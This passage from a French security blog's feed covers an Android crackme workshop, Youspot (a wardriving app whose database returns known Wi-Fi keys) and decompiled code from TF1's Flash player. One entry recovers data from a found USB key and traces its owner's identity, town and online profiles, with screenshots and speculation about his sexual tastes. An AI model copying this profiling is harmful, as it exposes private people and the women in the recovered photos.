&lt;p&gt;Bon je sais, la vidéo est loin d'être de bonne qualité, mais que voulez-vous, on a fait avec les moyens du bord. Pour le prochain meeting, on a investi dans une caméra HD 720p, qui permettra d'avoir une bien meilleure résolution.&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;&amp;lt;video controls&amp;gt;
&amp;lt;source src=&amp;quot;&lt;a class="reference external" href="http://hackerzvoice.net/repo_hzv/meetings/hzvmeet-workshop-android.ogg"&gt;http://hackerzvoice.net/repo_hzv/meetings/hzvmeet-workshop-android.ogg&lt;/a&gt;&amp;quot;&amp;gt;
&amp;lt;/video&amp;gt;&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;Pour ceux qui ne peuvent visualiser la vidéo, elle est disponible &lt;a class="reference external" href="http://hackerzvoice.net/repo_hzv/meetings/hzvmeet-workshop-android.ogg"&gt;en téléchargement ici&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Crackme Android &amp;amp; slides&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le crackme Android que j'avais développé à l'occasion de ce meet est aussi disponible en téléchargement, &lt;a class="reference external" href="http://hackerzvoice.net/repo_hzv/meetings/Crackoid.apk"&gt;ici&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour rappel, les slides sont téléchargeables au format PDF &lt;a class="reference external" href="http://hackerzvoice.net/repo_hzv/meetings/diordna-hzv.pdf"&gt;ici&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En espérant que ces ressources pourront vous être utile pour de futures analyses d'application !&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Le dragueur trahi par sa clef USB</title><link href="https://virtualabs.fr/secu/Le-dragueur-trahi-par-sa-clef-USB" rel="alternate"/><published>2011-03-10T19:29:27+01:00</published><updated>2011-03-10T19:29:27+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-03-10:/secu/Le-dragueur-trahi-par-sa-clef-USB</id><summary type="html">&lt;p&gt;J'étais récemment aux alentours de Dieppe (76), ceux qui n'ont pas quitté la carte des points d'accès de &lt;a class="reference external" href="http://www.youspot.org/map.php"&gt;YouSpot&lt;/a&gt; des yeux n'ont pas manqué de voir apparaître des APs dans ces environs, et je suis tombé sur une clef USB entièrement détruite abandonnée sur un trottoir. N'étant pas dans un …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'étais récemment aux alentours de Dieppe (76), ceux qui n'ont pas quitté la carte des points d'accès de &lt;a class="reference external" href="http://www.youspot.org/map.php"&gt;YouSpot&lt;/a&gt; des yeux n'ont pas manqué de voir apparaître des APs dans ces environs, et je suis tombé sur une clef USB entièrement détruite abandonnée sur un trottoir. N'étant pas dans un état très net (bien qu'il fut 14 heures du matin) je pris la clef USB et la rangeai dans la poche, pensant que cela pourrait être intéressant de l'analyser, &amp;quot;just for fun&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remise en état de la clef&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La clef USB était en assez bon état, mais son connecteur USB avait disparu, et je n'étais pas sûr de la fiabilité de l'électronique (peut-être trainaît-elle par terre depuis quelques jours ?). J'entrepris tout de même de souder un connecteur que j'avais en supplément (provenant d'une vieille clef USB cassée), afin de pouvoir tenter de lire quelque chose.&lt;/p&gt;
&lt;img alt="" src="/images/clef_pc-2.jpg" /&gt;
&lt;p&gt;Une fois le connecteur soudé, j'ai connecté la clef sur mon ordinateur portable, en priant pour que la LED s'allume. Et Ô joie, elle clignota. Et elle fut reconnue par mon système: il s'agit d'une clef Kingston de 8Go (quand même !). J'eus vite fait  de faire une image bit à bit (merci dd), mais la clef lacha à environ 90% du processus. Cela ne m'a pas empêché de monter l'image sur un périphérique de loopback, afin de pouvoir y accéder grâce à mon linux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Récupération des fichiers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors d'analyses forensiques, l'emploi d'un seul outil de récupération est déconseillé. Je commençais donc par tester les outils disponibles sous Linux: testdisk et photorec. Le premier ne trouva rien (pas de partition récupérable), mais le second m'identifia plus de 700 fichiers multimédias, ainsi que du texte et des fichiers SWF. Parmi les fichiers multimédias, des vidéos de Resident Evil 3 (entrecoupées car le média était bien endommagé, cela devait provenir d'un fichier effacé), ainsi que des extraits de &amp;quot;Maman je m'occupe des méchants&amp;quot;, c'est dire. Les données de texte révèlent des données EXIF, identifiant des photos datant de 2005 ! On y reviendra lors de l'analyse.&lt;/p&gt;
&lt;img alt="" src="/images/exif.png" /&gt;
&lt;p&gt;Je ressors ma version de FTK (d'Access Data), et lance une récupération des fichiers par &amp;quot;Data Carving&amp;quot; (une méthode permettant de reconstruire des fichiers à partir de morceaux identifiés dans des secteurs du disque) et celui-ci me trouve 78 photos au format JPEG. Je jette rapidement un oeil à ces photos: majoritairement des jeunes femmes entre 17 et 24 ans environ, pour certaines peu vêtues. Les données EXIF montrent qu'elles sont de sources hétéroclites (téléphone portable, source inconnue, etc ...). FTK n'a pas réussi à me trouver les fichiers vidéos identifiés par photorec, ni les données EXIF présentes dans l'espace libre du disque. Qu'à cela ne tienne, il m'a tout de même été utile pour les phases de recherche.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analyse des informations récupérées&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La pêche n'a pas été miraculeuse, mais devient cependant intéressante. Je continue de creuser avec FTK à l'aide de mots clefs (&amp;quot;hotmail&amp;quot;, &amp;quot;live&amp;quot;,&amp;quot;msn&amp;quot;,&amp;quot;JFIF&amp;quot;, ...) afin de localiser des informations de valeur. Et je tombe assez rapidement sur un ensemble d'adresse MSN, de personnes féminines d'après les noms (elles ont été floutées pour des raisons évidentes):&lt;/p&gt;
&lt;img alt="" src="/images/emails.png" /&gt;
&lt;p&gt;J'ai tout de même réussi à trouver trois adresses de courriel associées à trois compte MSN, qui semblent appartenir à un certain Régis, propriétaire d'un ordinateur (traces de C:UsersRégis... ) habitant Dieppe (d'ailleurs, si celui-ci se reconnaît, qu'il ne s'inquiète pas, je n'ai absolument rien fait des données stockées sur la clef). A partir de ces adresses et de son nom, je retrouve rapidement pas mal d'informations sur le net: des profils sur divers sites de rencontre/drague, voire même beaucoup de profils: pas moins de 6 profils différents sur Netlog, un profil Viadeo (très explicite par ailleurs), et des réponses postées à différents endroits du web. Et bien evidemment son compte Facebook, sinon ça n'aurait pas été drôle.&lt;/p&gt;
&lt;img alt="" src="/images/profil3-viadeo.png" /&gt;
&lt;img alt="" src="/images/profil2.png" /&gt;
&lt;img alt="" src="/images/profil.png" /&gt;
&lt;p&gt;Les données concordent entre les différents profils (je vous passe les profils parallèles de Netlog ...), ce qui tend à croire que cette personne a bien plusieurs comptes, associés à plusieurs adresses emails. En fouillant un peu plus, je retrouve sa trace sur le mur d'une jeune fille, Lia.&lt;/p&gt;
&lt;img alt="" src="/images/lia.png" /&gt;
&lt;p&gt;Et je me rends compte assez rapidement que Régis aime les jeunes filles, et non pas les femmes de 34 ans (son âge), avec une préférence pour les filles métissées, voire blacks. En effet, parmi les 78 photos retrouvées par FTK, on remarque assez rapidement certaines qui attirent l'oeil:&lt;/p&gt;
&lt;img alt="" src="/images/fille3.jpg" /&gt;
&lt;img alt="" src="/images/fille2.jpg" /&gt;
&lt;img alt="" src="/images/filles1.jpg" /&gt;
&lt;p&gt;Et je ne pus m'empêcher de penser que Régis avait récupéré ces photos de ses conversations MSN (le fait que les photos viennent de périphériques très différents amène rapidement cette hypothèse), et les conservait sur sa clef. Tiens, d'ailleurs, en parlant de Régis, celui-ci a aussi stocké des photos de lui:&lt;/p&gt;
&lt;img alt="" src="/images/ludo2.jpg" /&gt;
&lt;img alt="" src="/images/ludo.jpg" /&gt;
&lt;p&gt;On peut d'ailleurs remarquer que sur cette clef était stocké la photo qu'il a associé à un de ses profils Netlog, ce qui prouve encore plus l'identité de cette personne.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ce qu'il faut retenir de ce cas d'école&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une clef USB c'est bien, c'est pratique, c'est parfois beau et amusant, mais les données stockées ne sont jamais complètement effacées. Alors, avant de jeter votre clef USB toute cassée et qui ne semble plus vouloir fonctionner, réfléchissez à deux fois: souhaitez-vous rendre accessible des informations personnelles ? Souhaitez-vous qu'un quidam qui trouve cette clef et fasse quelques recherches forensiques puissent vous identifier, et pourquoi pas vous faire chanter ? Non ? Alors faites comme moi, conservez vos vieilles clefs en lieu sûr :D. Et oui, mon bureau ressemble à rien, et j'entasse de plus en plus de choses inutiles ....&lt;/p&gt;
&lt;p&gt;&amp;lt;article45|flattr&amp;gt;&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Youspot, une application de wardriving communautaire pour Android</title><link href="https://virtualabs.fr/projets/Youspot-une-application-de" rel="alternate"/><published>2011-03-03T11:16:27+01:00</published><updated>2011-03-03T11:16:27+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-03-03:/projets/Youspot-une-application-de</id><summary type="html">&lt;p&gt;J'ai lancé en beta-test via Twitter, il y a de cela un mois environ, l'application Youspot pour Android. Cette application est gratuite et sans publicité, et permet de «wardriver» ainsi que de centraliser les informations sur les points d'accès détectés.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Présentation de l'application Youspot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'objectif premier de cette application est …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai lancé en beta-test via Twitter, il y a de cela un mois environ, l'application Youspot pour Android. Cette application est gratuite et sans publicité, et permet de «wardriver» ainsi que de centraliser les informations sur les points d'accès détectés.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Présentation de l'application Youspot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'objectif premier de cette application est de fournir aux possesseurs de smartphones une alternative à a connexion 3G. En effet, il y a dans les villes de nombreux points d'accès ouverts, sur lesquels les connexions sont possibles et plus efficaces que la 3G. A l'heure où le trafic 3G est montré du doigt, le Wifi collaboratif peut devenir une alternative viable.&lt;/p&gt;
&lt;p&gt;Les utilisateurs ont aussi la possibilité de recenser les points d'accès manuellement, via &lt;a class="reference external" href="http://virtualabs.fr/youspot/"&gt;le site de l'application&lt;/a&gt;. Pour le moment, l'application et le site étant en version beta, il n'y a pas possibilité de retirer un point d'accès connu de la base de connaissances. Cette fonctionnalité devrait être implémentée rapidement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fonctionnement de Youspot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'application Youspot, une fois installée sur un smartphone Android (version &amp;gt;= 1.5) scanne les réseaux sans-fils alentours, et les envoie dans la base de connaissances de Youspot. Celle-ci vérifie si les points d'accès sont connus, auquel cas elle retourne des informations complémentaires (clef d'authentification, si connue, etc ...). Aucune information privée n'est transmise, pas même la configuration des points d'accès enregistrés dans le smartphone, ni la localisation géographique, ou encore le numéro IMEI.&lt;/p&gt;
&lt;p&gt;Les données collectées servent à générer deux graphes de statistiques, le premier proposant une synthèse du nombre de points d'accès par fournisseurs d'accès Internet, le second synthétisant la répartition des chiffrements employés par les points d'accès recensés. Une carte est aussi disponible (mise à jour différée), et permet de localiser des points d'accès ouverts ou accessibles, et ceux qui sont (a priori) correctement protégés. A ce jour, plus de 30 000 points d'accès ont été recensés par les beta-testeurs !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chiffrement des points d'accès sans-fil&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il est assez effarant de voir que bon nombre de points d'accès utilisent encore le chiffrement WEP (29%), et même que 6,3% de ceux-ci sont (a priori) complètement ouverts. Seuls 18,8% des points d'accès utilisent le chiffrement WPA2. Le manque d'information et l'obsolescence des points d'accès (qui ne supportent pas WPA/WPA2 pour la grande majorité) sont des raisons plausibles pouvant expliquer ces constatations.&lt;/p&gt;
&lt;p&gt;L'Hadopi a du souci à se faire, tout particulièrement en ce qui concerne la sécurisation des points d'accès sans-fil et des moyens de sécurisation. Les FAIs ont tenté de faire des efforts en ce qui concerne les modes de chiffrement par défaut,  mais certains irréductibles continuent d'employer le chiffrement WEP (qui a dit que la Nintendo DS ne supportait pas WPA ?), pour moultes raisons.&lt;/p&gt;
&lt;p&gt;&amp;lt;article44|flattr&amp;gt;&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>Le "piège à couillon" de TF1</title><link href="https://virtualabs.fr/humeur/Le-piege-a-couillon-de-TF1" rel="alternate"/><published>2011-02-13T16:41:38+01:00</published><updated>2011-02-13T16:41:38+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-02-13:/humeur/Le-piege-a-couillon-de-TF1</id><summary type="html">&lt;p&gt;&lt;strong&gt;Mise à jour [16/02/2011] - TF1 a modifié son lecteur Flash et remplacé la méthode incriminée par une version propre, nommée &amp;quot;hasRedirect&amp;quot;. La version du player analysée dans cet article était la 4.0.80, celle actuellement en place sur les sites de WAT et TF1 est désormais la …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Mise à jour [16/02/2011] - TF1 a modifié son lecteur Flash et remplacé la méthode incriminée par une version propre, nommée &amp;quot;hasRedirect&amp;quot;. La version du player analysée dans cet article était la 4.0.80, celle actuellement en place sur les sites de WAT et TF1 est désormais la 4.0.81 .&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Article original du 13/02/2011:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je me suis (encore) penché sur la sécurité des applications Flash, notamment à cause de la médiatisation du streaming et du &lt;a class="reference external" href="http://www.pcinpact.com/actu/news/61788-hadopi-streaming-consultation-cpd-miq.htm"&gt;tintouin&lt;/a&gt; que cela a causé vis-à-vis de l'Hadopi, en espérant trouver quelque-chose du côté de TF1 et M6 (ces deux sociétés ont misé il y a quelques années sur le streaming, avec leur service de &amp;quot;catch-up&amp;quot; TV).&lt;/p&gt;
&lt;p&gt;Et j'ai trouvé un truc bien cocasse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le player flash de WAT + une méthode bizarre&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La plateforme WAT est une plateforme de diffusion de vidéo, propriété de TF1 qui s'en sert aussi de socle pour la diffusion des vidéos de &amp;quot;catch-up&amp;quot;, via le protocole RTMPE (pur streaming). Il n'y a donc plus de problème de fuites de vidéos au format FLV, comme j'ai pu l'aborder dans un pécédent post.&lt;/p&gt;
&lt;p&gt;Cette plateforme s'articule autour d'un lecteur vidéo développé maison, et intégré notamment dans les sites de WAT (&lt;a class="reference external" href="http://www.wat.fr"&gt;http://www.wat.fr&lt;/a&gt;) et de TF1 vidéos (&lt;a class="reference external" href="http://videos.tf1.fr"&gt;http://videos.tf1.fr&lt;/a&gt;). C'est en plongeant les mains dans le code de ce lecteur maison que j'ai pu identifier une routine peu commune:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hasPiegeACouillon&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isEmbedMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerDataManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;flashVars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hasRedirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hasPiegeACouillon&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et là je suis resté coincé entre le rire et l'étouffement. Je me suis ensuite demandé à quoi servait cette méthode particulière, car des fois on trouve ce genre de choses dans des objets Flash sans qu'elles soient réellement fonctionnelles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Investigation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai donc fouillé dans le code désassemblé, et j'ai pu identifier la référence à cette méthode:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BAR_CLICKED&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;currentErrorType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ERROR_TYPE_RSYND&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;PlayerUtil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;openPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PlayerContextManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;currentContextRules&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;targetCouillon&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PlayerContextManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;currentContextName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerContext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CONTEXT_PLAYER_PUB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerContextManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;currentContextRules&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hasPiegeACouillon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerDataManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flashVars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;watPlayer&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;currentMediaObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;visibleOnWAT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PlayerContextManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;currentContextName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerContext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CONTEXT_PLAYER_PUB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerDataManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flashVars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;watPlayer&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;currentMediaObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;visibleOnWAT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerDataManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flashVars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tf1Player&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerDataManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flashVars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;permalink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;PlayerUtil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;openPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PlayerContextManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;currentContextRules&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;targetCouillon&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;currentPlayerState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CURRENT_PLAYER_STATE_WAITING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;currentPlayerState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CURRENT_PLAYER_STATE_PAUSING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
